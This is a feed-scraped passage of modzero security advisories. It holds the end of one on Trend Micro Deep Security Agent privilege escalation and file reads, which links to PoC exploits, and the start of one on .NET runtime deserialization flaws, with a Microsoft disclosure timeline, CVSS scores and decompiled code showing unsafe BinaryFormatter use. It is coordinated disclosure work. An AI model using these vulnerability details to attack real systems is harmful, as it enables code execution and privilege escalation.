</span></span><span class="line"><span class="cl">The identified vulnerabilities in the Trend Micro Deep Security Agent
</span></span><span class="line"><span class="cl">software result in local privilege escalation and arbitrary remote
</span></span><span class="line"><span class="cl">file reads.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">5. Prerequisites
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">For an attacker  to suceed  with a privilege  escalation  attack, the
</span></span><span class="line"><span class="cl">agent has to  be left unconfigured  (not  &#39;activated&#39;) or  the server
</span></span><span class="line"><span class="cl">component has to be compromised.  Furthermore local code execution or
</span></span><span class="line"><span class="cl">the ability to originate HTTP requests  from localhost (e.g. SSRF) is
</span></span><span class="line"><span class="cl">required.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">For an attacker  to succeed  with a directory  traversal  attack, the
</span></span><span class="line"><span class="cl">agent has to  be left unconfigured  (not  &#39;activated&#39;) or  the server
</span></span><span class="line"><span class="cl">component has to  be compromised.  Furthermore network  access to the
</span></span><span class="line"><span class="cl">agent software is required.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">6. Exploits
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">All PoC exploits, tools  and additional information  are available on
</span></span><span class="line"><span class="cl">Github: https://github.com/modzero/MZ-21-02-Trendmicro
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">7. Fix
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 2021-10-12: The vendor supplied a test build that supposedly fixes
</span></span><span class="line"><span class="cl">              the directory traversal and the local privilege
</span></span><span class="line"><span class="cl">              escalation.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">8. Credits
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  * Fluepke (Carl Fabian Luepke) of modzero
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">9. About modzero
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The independent  Swiss-German  company  modzero assists  clients with
</span></span><span class="line"><span class="cl">security analysis  in the complex  areas of computer  technology. The
</span></span><span class="line"><span class="cl">focus  lies on  highly  detailed  technical  analysis  of   concepts,
</span></span><span class="line"><span class="cl">software  and  hardware  components as  well as  the  development  of
</span></span><span class="line"><span class="cl">individual  solutions.  Colleagues  at  modzero work  exclusively  in
</span></span><span class="line"><span class="cl">practical, highly  technical computer-security  areas and can draw on
</span></span><span class="line"><span class="cl">decades of  experience  in various  platforms,  system concepts,  and
</span></span><span class="line"><span class="cl">designs.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://www.modzero.com contact@modzero.com
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero follows coordinated disclosure practices described here:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://www.modzero.com/static/modzero_Disclosure_Policy.pdf.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This policy  should  have been  sent to  the vendor  along with  this
</span></span><span class="line"><span class="cl">security advisory.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">10. Disclaimer
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The information  in the advisory  is believed  to be accurate  at the
</span></span><span class="line"><span class="cl">time of publishing based  on currently available  information. Use of
</span></span><span class="line"><span class="cl">the information constitutes acceptance for use in an AS IS condition.
</span></span><span class="line"><span class="cl">There are no  warranties  concerning  this  information. Neither  the
</span></span><span class="line"><span class="cl">author  nor the  publisher  accepts  any liability  for  any  direct,
</span></span><span class="line"><span class="cl">indirect, or  consequential  loss or  damage  arising from  using, or
</span></span><span class="line"><span class="cl">reliance on, this information.
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded></item><item><title>[MZ-20-03] Deserialization in the .Net runtime</title><link>https://modzero.com/en/advisories/mz-20-03-vulnerabilities-in-dotnet/</link><pubDate>Tue, 16 Jun 2020 00:00:00 +0200</pubDate><author>Nils Ole Timm</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-20-03-vulnerabilities-in-dotnet/</guid><description>Multiple deserialization vulnerabilities in the .Net runtime</description><content:encoded><![CDATA[<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span><span class="lnt">186
</span><span class="lnt">187
</span><span class="lnt">188
</span><span class="lnt">189
</span><span class="lnt">190
</span><span class="lnt">191
</span><span class="lnt">192
</span><span class="lnt">193
</span><span class="lnt">194
</span><span class="lnt">195
</span><span class="lnt">196
</span><span class="lnt">197
</span><span class="lnt">198
</span><span class="lnt">199
</span><span class="lnt">200
</span><span class="lnt">201
</span><span class="lnt">202
</span><span class="lnt">203
</span><span class="lnt">204
</span><span class="lnt">205
</span><span class="lnt">206
</span><span class="lnt">207
</span><span class="lnt">208
</span><span class="lnt">209
</span><span class="lnt">210
</span><span class="lnt">211
</span><span class="lnt">212
</span><span class="lnt">213
</span><span class="lnt">214
</span><span class="lnt">215
</span><span class="lnt">216
</span><span class="lnt">217
</span><span class="lnt">218
</span><span class="lnt">219
</span><span class="lnt">220
</span><span class="lnt">221
</span><span class="lnt">222
</span><span class="lnt">223
</span><span class="lnt">224
</span><span class="lnt">225
</span><span class="lnt">226
</span><span class="lnt">227
</span><span class="lnt">228
</span><span class="lnt">229
</span><span class="lnt">230
</span><span class="lnt">231
</span><span class="lnt">232
</span><span class="lnt">233
</span><span class="lnt">234
</span><span class="lnt">235
</span><span class="lnt">236
</span><span class="lnt">237
</span><span class="lnt">238
</span><span class="lnt">239
</span><span class="lnt">240
</span><span class="lnt">241
</span><span class="lnt">242
</span><span class="lnt">243
</span><span class="lnt">244
</span><span class="lnt">245
</span><span class="lnt">246
</span><span class="lnt">247
</span><span class="lnt">248
</span><span class="lnt">249
</span><span class="lnt">250
</span><span class="lnt">251
</span><span class="lnt">252
</span><span class="lnt">253
</span><span class="lnt">254
</span><span class="lnt">255
</span><span class="lnt">256
</span><span class="lnt">257
</span><span class="lnt">258
</span><span class="lnt">259
</span><span class="lnt">260
</span><span class="lnt">261
</span><span class="lnt">262
</span><span class="lnt">263
</span><span class="lnt">264
</span><span class="lnt">265
</span><span class="lnt">266
</span><span class="lnt">267
</span><span class="lnt">268
</span><span class="lnt">269
</span><span class="lnt">270
</span><span class="lnt">271
</span><span class="lnt">272
</span><span class="lnt">273
</span><span class="lnt">274
</span><span class="lnt">275
</span><span class="lnt">276
</span><span class="lnt">277
</span><span class="lnt">278
</span><span class="lnt">279
</span><span class="lnt">280
</span><span class="lnt">281
</span><span class="lnt">282
</span><span class="lnt">283
</span><span class="lnt">284
</span><span class="lnt">285
</span><span class="lnt">286
</span><span class="lnt">287
</span><span class="lnt">288
</span><span class="lnt">289
</span><span class="lnt">290
</span><span class="lnt">291
</span><span class="lnt">292
</span><span class="lnt">293
</span><span class="lnt">294
</span><span class="lnt">295
</span><span class="lnt">296
</span><span class="lnt">297
</span><span class="lnt">298
</span><span class="lnt">299
</span><span class="lnt">300
</span><span class="lnt">301
</span><span class="lnt">302
</span><span class="lnt">303
</span><span class="lnt">304
</span><span class="lnt">305
</span><span class="lnt">306
</span><span class="lnt">307
</span><span class="lnt">308
</span><span class="lnt">309
</span><span class="lnt">310
</span><span class="lnt">311
</span><span class="lnt">312
</span><span class="lnt">313
</span><span class="lnt">314
</span><span class="lnt">315
</span><span class="lnt">316
</span><span class="lnt">317
</span><span class="lnt">318
</span><span class="lnt">319
</span><span class="lnt">320
</span><span class="lnt">321
</span><span class="lnt">322
</span><span class="lnt">323
</span><span class="lnt">324
</span><span class="lnt">325
</span><span class="lnt">326
</span><span class="lnt">327
</span><span class="lnt">328
</span><span class="lnt">329
</span><span class="lnt">330
</span><span class="lnt">331
</span><span class="lnt">332
</span><span class="lnt">333
</span><span class="lnt">334
</span><span class="lnt">335
</span><span class="lnt">336
</span><span class="lnt">337
</span><span class="lnt">338
</span><span class="lnt">339
</span><span class="lnt">340
</span><span class="lnt">341
</span><span class="lnt">342
</span><span class="lnt">343
</span><span class="lnt">344
</span><span class="lnt">345
</span><span class="lnt">346
</span><span class="lnt">347
</span><span class="lnt">348
</span><span class="lnt">349
</span><span class="lnt">350
</span><span class="lnt">351
</span><span class="lnt">352
</span><span class="lnt">353
</span><span class="lnt">354
</span><span class="lnt">355
</span><span class="lnt">356
</span><span class="lnt">357
</span><span class="lnt">358
</span><span class="lnt">359
</span><span class="lnt">360
</span><span class="lnt">361
</span><span class="lnt">362
</span><span class="lnt">363
</span><span class="lnt">364
</span><span class="lnt">365
</span><span class="lnt">366
</span><span class="lnt">367
</span><span class="lnt">368
</span><span class="lnt">369
</span><span class="lnt">370
</span><span class="lnt">371
</span><span class="lnt">372
</span><span class="lnt">373
</span><span class="lnt">374
</span><span class="lnt">375
</span><span class="lnt">376
</span><span class="lnt">377
</span><span class="lnt">378
</span><span class="lnt">379
</span><span class="lnt">380
</span><span class="lnt">381
</span><span class="lnt">382
</span><span class="lnt">383
</span><span class="lnt">384
</span><span class="lnt">385
</span><span class="lnt">386
</span><span class="lnt">387
</span><span class="lnt">388
</span><span class="lnt">389
</span><span class="lnt">390
</span><span class="lnt">391
</span><span class="lnt">392
</span><span class="lnt">393
</span><span class="lnt">394
</span><span class="lnt">395
</span><span class="lnt">396
</span><span class="lnt">397
</span><span class="lnt">398
</span><span class="lnt">399
</span><span class="lnt">400
</span><span class="lnt">401
</span><span class="lnt">402
</span><span class="lnt">403
</span><span class="lnt">404
</span><span class="lnt">405
</span><span class="lnt">406
</span><span class="lnt">407
</span><span class="lnt">408
</span><span class="lnt">409
</span><span class="lnt">410
</span><span class="lnt">411
</span><span class="lnt">412
</span><span class="lnt">413
</span><span class="lnt">414
</span><span class="lnt">415
</span><span class="lnt">416
</span><span class="lnt">417
</span><span class="lnt">418
</span><span class="lnt">419
</span><span class="lnt">420
</span><span class="lnt">421
</span><span class="lnt">422
</span><span class="lnt">423
</span><span class="lnt">424
</span><span class="lnt">425
</span><span class="lnt">426
</span><span class="lnt">427
</span><span class="lnt">428
</span><span class="lnt">429
</span><span class="lnt">430
</span><span class="lnt">431
</span><span class="lnt">432
</span><span class="lnt">433
</span><span class="lnt">434
</span><span class="lnt">435
</span><span class="lnt">436
</span><span class="lnt">437
</span><span class="lnt">438
</span><span class="lnt">439
</span><span class="lnt">440
</span><span class="lnt">441
</span><span class="lnt">442
</span><span class="lnt">443
</span><span class="lnt">444
</span><span class="lnt">445
</span><span class="lnt">446
</span><span class="lnt">447
</span><span class="lnt">448
</span><span class="lnt">449
</span><span class="lnt">450
</span><span class="lnt">451
</span><span class="lnt">452
</span><span class="lnt">453
</span><span class="lnt">454
</span><span class="lnt">455
</span><span class="lnt">456
</span><span class="lnt">457
</span><span class="lnt">458
</span><span class="lnt">459
</span><span class="lnt">460
</span><span class="lnt">461
</span><span class="lnt">462
</span><span class="lnt">463
</span><span class="lnt">464
</span><span class="lnt">465
</span><span class="lnt">466
</span><span class="lnt">467
</span><span class="lnt">468
</span><span class="lnt">469
</span><span class="lnt">470
</span><span class="lnt">471
</span><span class="lnt">472
</span><span class="lnt">473
</span><span class="lnt">474
</span><span class="lnt">475
</span><span class="lnt">476
</span><span class="lnt">477
</span><span class="lnt">478
</span><span class="lnt">479
</span><span class="lnt">480
</span><span class="lnt">481
</span><span class="lnt">482
</span><span class="lnt">483
</span><span class="lnt">484
</span><span class="lnt">485
</span><span class="lnt">486
</span><span class="lnt">487
</span><span class="lnt">488
</span><span class="lnt">489
</span><span class="lnt">490
</span><span class="lnt">491
</span><span class="lnt">492
</span><span class="lnt">493
</span><span class="lnt">494
</span><span class="lnt">495
</span><span class="lnt">496
</span><span class="lnt">497
</span><span class="lnt">498
</span><span class="lnt">499
</span><span class="lnt">500
</span><span class="lnt">501
</span><span class="lnt">502
</span><span class="lnt">503
</span><span class="lnt">504
</span><span class="lnt">505
</span><span class="lnt">506
</span><span class="lnt">507
</span><span class="lnt">508
</span><span class="lnt">509
</span><span class="lnt">510
</span><span class="lnt">511
</span><span class="lnt">512
</span><span class="lnt">513
</span><span class="lnt">514
</span><span class="lnt">515
</span><span class="lnt">516
</span><span class="lnt">517
</span><span class="lnt">518
</span><span class="lnt">519
</span><span class="lnt">520
</span><span class="lnt">521
</span><span class="lnt">522
</span><span class="lnt">523
</span><span class="lnt">524
</span><span class="lnt">525
</span><span class="lnt">526
</span><span class="lnt">527
</span><span class="lnt">528
</span><span class="lnt">529
</span><span class="lnt">530
</span><span class="lnt">531
</span><span class="lnt">532
</span><span class="lnt">533
</span><span class="lnt">534
</span><span class="lnt">535
</span><span class="lnt">536
</span><span class="lnt">537
</span><span class="lnt">538
</span><span class="lnt">539
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">---------------------------------------------------------------- v5 ---
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero Security Advisory:
</span></span><span class="line"><span class="cl">Multiple deserialization vulnerabilities in the .Net runtime [MZ-20-03]
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">1. Timeline
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 2020-02-14: This  advisory  has been  sent to the Microsoft  security
</span></span><span class="line"><span class="cl">              team (security@microsoft.com).
</span></span><span class="line"><span class="cl">* 2020-02-19: Microsoft  requests  that  the  three  vunerabilities are
</span></span><span class="line"><span class="cl">              resubmitted individually.
</span></span><span class="line"><span class="cl">* 2020-02-19: Vulnerabilities resubmitted individually.
</span></span><span class="line"><span class="cl">* 2020-02-29: Microsoft closes 4.2 as &#34;By Design&#34;.
</span></span><span class="line"><span class="cl">* 2020-03-19: Microsoft accepts 4.1 as a security issue.
</span></span><span class="line"><span class="cl">* 2020-03-19: Microsoft closes 4.3 as &#34;By Design&#34;.
</span></span><span class="line"><span class="cl">* 2020-04-07: Microsoft  informs  modzero of a planned patch release on
</span></span><span class="line"><span class="cl">              June 9th.
</span></span><span class="line"><span class="cl">* 2020-06-02: Microsoft informs modzero that the vulnerability  will be
</span></span><span class="line"><span class="cl">              fixed with documentation only.
</span></span><span class="line"><span class="cl">* 2020-06-08: modzero replies with concerns regarding the proposed fix.
</span></span><span class="line"><span class="cl">* 2020-06-15: Microsoft replies that they will go through with the fix.
</span></span><span class="line"><span class="cl">* 2020-06-16: modzero publishes this disclosure.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2. Summary
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Vendor: Microsoft
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 4.1 Deserialization vulnerability in
</span></span><span class="line"><span class="cl">      IsolatedStorageFileEnumerator::MoveNext via crafted  identity.dat
</span></span><span class="line"><span class="cl">      file leading to arbitrary code execution
</span></span><span class="line"><span class="cl">      modzero: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H -&gt; 8.2
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 4.2 Deserialization vulnerability in
</span></span><span class="line"><span class="cl">      BinaryServerFormatterSink::ProcessMessage
</span></span><span class="line"><span class="cl">      4.2.1 When configured with TypeFilterLevel.Low
</span></span><span class="line"><span class="cl">           Denial of Service
</span></span><span class="line"><span class="cl">           modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H -&gt; 7.5
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      4.2.2 When configured with TypeFilterLevel.Full
</span></span><span class="line"><span class="cl">           Remote code execution
</span></span><span class="line"><span class="cl">           modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H -&gt; 9.0
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 4.3 Deserialization vulnerability in
</span></span><span class="line"><span class="cl">      System.Messaging.Message::get_Body() using a
</span></span><span class="line"><span class="cl">      BinaryMessageFormatter   leading   to   remote   code   execution
</span></span><span class="line"><span class="cl">      modzero: CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H -&gt; 9.0
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3.0 Introduction
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero identified several critical vulnerabilities in the .Net runtime
</span></span><span class="line"><span class="cl">which  can lead to  denial of service  or remote code execution attacks
</span></span><span class="line"><span class="cl">against services using standard built-in .NET features. A potential for
</span></span><span class="line"><span class="cl">local  privilege  escalation  or persistence  using the IsolatedStorage
</span></span><span class="line"><span class="cl">vulnerability was also found.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Any  software  using  the  vulnerable  .Net  components is  potentially
</span></span><span class="line"><span class="cl">affected.
</span></span><span class="line"><span class="cl">Specifically:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    * Enumeration of IsolatedStorage spaces
</span></span><span class="line"><span class="cl">    * .Net Remoting with binary serialization
</span></span><span class="line"><span class="cl">    * .Net MSMQ with a BinaryMessageFormatter
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero  identified  and  tested the  vulnerabilities to be present in:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">.NET Framework
</span></span><span class="line"><span class="cl">4.8 4.7.2 4.7.1 4.7 4.6.2 4.6.1 4.6 4.5.2 4.5.1 4.5
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Earlier  versions  have not been tested, but are  likely to at least be
</span></span><span class="line"><span class="cl">partially affected as well.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">4. Details
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">4.1 Triggering Deserialization vulnerability in
</span></span><span class="line"><span class="cl">    IsolatedStorageFileEnumerator::MoveNext  via  crafted  identity.dat
</span></span><span class="line"><span class="cl">    file leads to arbitrary code execution
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">An attacker  with write access  to the  identity.dat file can  inject a
</span></span><span class="line"><span class="cl">deserialization payload, which will be  executed when the built-in .NET
</span></span><span class="line"><span class="cl">method   IsolatedStorageFileEnumerator::MoveNext    is   called.   When
</span></span><span class="line"><span class="cl">creating   an    IsolatedStorage   space    in   the    Machine   scope
</span></span><span class="line"><span class="cl">(IsolatedStorageScope.Machine)  its  identity.dat  file  has  read  and
</span></span><span class="line"><span class="cl">write permissions  for the  &#34;Everyone&#34; Windows-Group. An  attacker with
</span></span><span class="line"><span class="cl">access to any account can  create a Machine scope IsolatedStorage space
</span></span><span class="line"><span class="cl">and cause  the vulnerability  to trigger on  the next  enumeration. The
</span></span><span class="line"><span class="cl">enumeration itself  does not  have to  be controlled  or issued  by the
</span></span><span class="line"><span class="cl">attacker  and thus  the  execution  takes place  in  the context  where
</span></span><span class="line"><span class="cl">enumeration occurs.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">When    using    an    IsolatedStorageFileEnumerator    to    enumerate
</span></span><span class="line"><span class="cl">IsolatedStorage spaces, the  MoveNext method will read  the contents of
</span></span><span class="line"><span class="cl">each  space&#39;s  identity.dat  file  and  deserialize  them  without  any
</span></span><span class="line"><span class="cl">security features enabled. The identity.dat  files in the Machine scope
</span></span><span class="line"><span class="cl">have  read/write  permissions   for  the  Everyone  group   and  a  low
</span></span><span class="line"><span class="cl">privileged user  can craft an  identity.dat file to execute  a standard
</span></span><span class="line"><span class="cl">deserialization attack when another user enumerates storage spaces.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This for example affects the storeadm.exe tool.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The  following  code  snippets  demonstrate   how  the  data  from  the
</span></span><span class="line"><span class="cl">identity.dat  file is  passed directly  into a  BinaryFormatter without
</span></span><span class="line"><span class="cl">further sanitization or any security measures.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">IsolatedStorageFileEnumerator::MoveNext calls
</span></span><span class="line"><span class="cl">this.GetIDStream(twoPaths.Path1,  out  stream)  to  retrieve  the  file
</span></span><span class="line"><span class="cl">contents of  the associated  identity.dat file of  each IsolatedStorage
</span></span><span class="line"><span class="cl">space into a stream variable.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    public bool MoveNext()
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      while (this.m_fileEnum.MoveNext())
</span></span><span class="line"><span class="cl">      {
</span></span><span class="line"><span class="cl">        [...]
</span></span><span class="line"><span class="cl">        if (flag)
</span></span><span class="line"><span class="cl">        {
</span></span><span class="line"><span class="cl">          if (!this.GetIDStream(twoPaths.Path1, out stream) || !this.GetIDStream(twoPaths.Path1 + &#34;\\&#34; + twoPaths.Path2, out stream2))
</span></span><span class="line"><span class="cl">          [...]
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">        else if (IsolatedStorageFile.NotAppFilesDir(twoPaths.Path2))
</span></span><span class="line"><span class="cl">        {
</span></span><span class="line"><span class="cl">          if (!this.GetIDStream(twoPaths.Path1, out stream2))
</span></span><span class="line"><span class="cl">          [...]
</span></span><span class="line"><span class="cl">          stream2.Position = 0L;
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">        else
</span></span><span class="line"><span class="cl">        {
</span></span><span class="line"><span class="cl">          if (!this.GetIDStream(twoPaths.Path1, out stream3))
</span></span><span class="line"><span class="cl">          [...]
</span></span><span class="line"><span class="cl">          stream3.Position = 0L;
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The  previously   populated  stream  variable  holding   the  possibliy
</span></span><span class="line"><span class="cl">malicious identity.dat file&#39;s  content is passed to an  overload of the
</span></span><span class="line"><span class="cl">InitStore method as documented in the followind code section.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    if (isolatedStorageFile.InitStore(scope, stream, stream2, stream3, domainName, assemName, appName) &amp;&amp; isolatedStorageFile.InitExistingStore(scope))
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      this.m_Current = isolatedStorageFile;
</span></span><span class="line"><span class="cl">      return true;
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The InitStore method then passes  the MemoryStream of the file contents
</span></span><span class="line"><span class="cl">into a BinaryFormatter without enabling any security features on it.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    internal bool InitStore(IsolatedStorageScope scope, Stream domain, Stream assem, Stream app, string domainName, string assemName, string appName)
</span></span><span class="line"><span class="cl">    {
</span></span><span class="line"><span class="cl">      BinaryFormatter binaryFormatter = new BinaryFormatter();
</span></span><span class="line"><span class="cl">      [...]
</span></span><span class="line"><span class="cl">        this.m_AppIdentity = binaryFormatter.Deserialize(app);
</span></span><span class="line"><span class="cl">      [...]
